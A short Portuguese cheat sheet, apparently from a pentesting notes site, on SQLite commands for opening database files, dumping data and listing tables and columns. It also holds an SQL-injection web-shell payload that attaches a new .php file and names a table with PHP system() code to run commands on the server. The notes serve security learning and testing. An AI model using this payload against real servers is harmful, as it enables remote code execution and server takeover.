SQLite
Versão do SQLite
select sqlite_version();
Acessando Arquivo Database
Caso tenho um arquivo com o database (por exemplo: database.db), podemos acessá-lo com o comando abaixo:
sqlite3 <file.db>
Ao acessar o arquivo com êxito, irá entrar em um terminal interativo, onde pode inserir os devidos comandos para acessar/manipular o bando de dados. Para ver o help
do sqlite, utilize o seguinte comando:
.help
Utilize o comando file <file.db>
para verificar se o arquivo é um Sqlite.
É possível executar um comando/query sem precisar abrir o modo interativo do sqlite. No exemplo abaixo estamos utilizando o comando .dump
(que server para fazer um dump do banco de dados já na tela), mas pode ser substituído por qualquer outro
sqlite3 <file.db> '.dump'
Criando Database como PHP
O objetivo desse comando é criar um database como extensão PHP e depois executá-lo
ATTACH DATABASE '<new_file.php>' as newtab; CREATE TABLE newtab.'<?php system("<command>")?>' (new_field TEXT);
Extraindo Nome das Tabelas
Utilize um dos comandos abaixo
.tables
.table
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
Extraindo Colunas da Tabela
.schema <table>
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='<table_name>'
Sites
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL Injection/SQLite Injection.md
Last updated
Was this helpful?